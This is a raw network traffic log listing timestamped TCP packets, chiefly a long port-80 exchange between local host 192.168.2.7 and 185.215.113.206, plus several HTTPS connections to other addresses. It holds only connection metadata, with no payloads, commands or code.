Nov 13, 2024 14:41:33.429884911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429898024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429898977 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429913044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429914951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429929018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429935932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429944038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429955959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429960012 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429969072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429975033 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429981947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429999113 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430018902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430252075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430291891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430305958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430332899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430351973 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430380106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430394888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430408001 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430428028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430433989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430440903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430455923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430460930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430470943 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430486917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430500984 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430541039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430563927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430576086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430587053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430602074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430608988 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430617094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430629969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430634022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430649042 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430681944 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430707932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430720091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430731058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430743933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430749893 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430759907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430773973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430778980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430788994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430802107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430809975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430824995 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430825949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430843115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430855036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430855989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430867910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430880070 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430881023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430890083 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430912971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430912971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430928946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430931091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430943012 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430946112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430958033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430958986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430969954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.430978060 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430988073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.430993080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431005001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431008101 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431019068 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431025028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431031942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431031942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431108952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431142092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431154966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431183100 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431195021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431196928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431210041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431221962 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431224108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431236029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431248903 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431253910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431265116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431289911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431332111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431355953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431364059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431364059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431370020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431389093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431401014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431411982 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431415081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431428909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431428909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431442022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431454897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431468010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431471109 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431494951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431500912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431519032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431524038 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431534052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431546926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431560040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431570053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431570053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431586027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431587934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431603909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431617022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431622028 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431631088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431643009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431652069 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431657076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431668997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431668997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431685925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431719065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431737900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431751013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431762934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431775093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431782961 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431788921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431802034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431803942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431828022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431829929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431843996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431854963 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431855917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431869984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431881905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431883097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431905985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431917906 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431924105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431938887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431951046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431956053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431976080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431977034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.431989908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.431996107 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432004929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432010889 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432015896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432025909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432029009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432039976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432044983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432059050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432063103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432071924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432077885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432086945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432101011 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432118893 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432435989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432471991 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432488918 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432502031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432514906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432538033 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432550907 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432589054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432604074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432615042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432627916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432637930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432641029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432656050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432667971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432681084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432687998 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432696104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432713032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.432718039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432733059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.432775021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433042049 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.433101892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433147907 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433207035 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433218002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433229923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433238983 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433243990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433252096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433260918 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433264971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433273077 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433285952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433306932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433339119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433351994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433367014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433373928 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433387995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433389902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433403015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433413029 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433417082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433430910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433434010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433466911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433479071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433490992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433502913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433515072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.433541059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433573961 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.433878899 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.433888912 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.434082985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434135914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434137106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434154034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434184074 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434192896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434206009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434210062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434225082 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434266090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434288979 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434300900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434312105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434318066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434329987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434339046 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434359074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434359074 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434374094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434386969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434395075 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434400082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434411049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.434428930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434458971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.434914112 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.435003042 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.435072899 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.435337067 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.435414076 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.435467958 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.435494900 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.435503960 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.436676025 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.436764956 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.436862946 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.436877966 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.437021017 CET	49901	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.437028885 CET	443	49901	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.438225985 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.438312054 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.438585997 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.438646078 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.438719034 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.438724995 CET	443	49902	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.444578886 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.444782019 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.444792032 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.445815086 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.445883989 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.446204901 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.446269035 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.446342945 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.446350098 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.461359024 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.461421967 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.461460114 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.461503029 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.462762117 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.462776899 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463028908 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463051081 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463093996 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.463109970 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463129997 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463257074 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.463329077 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.463355064 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.463392973 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.463490963 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.465349913 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.465364933 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.500238895 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.500251055 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.500361919 CET	49902	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.520775080 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.520952940 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.520962954 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.521064043 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.521135092 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.533914089 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.533936024 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.534362078 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.534369946 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.538835049 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.538856030 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.538911104 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.538933992 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.539016962 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.546892881 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.546911001 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.547934055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548068047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548085928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548098087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548110962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548115015 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548124075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548141003 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548141956 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548156023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548170090 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548182964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548190117 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548208952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548227072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.548263073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548274994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548280954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548286915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548293114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548297882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.548346043 CET	49832	80	192.168.2.7	185.215.113.206
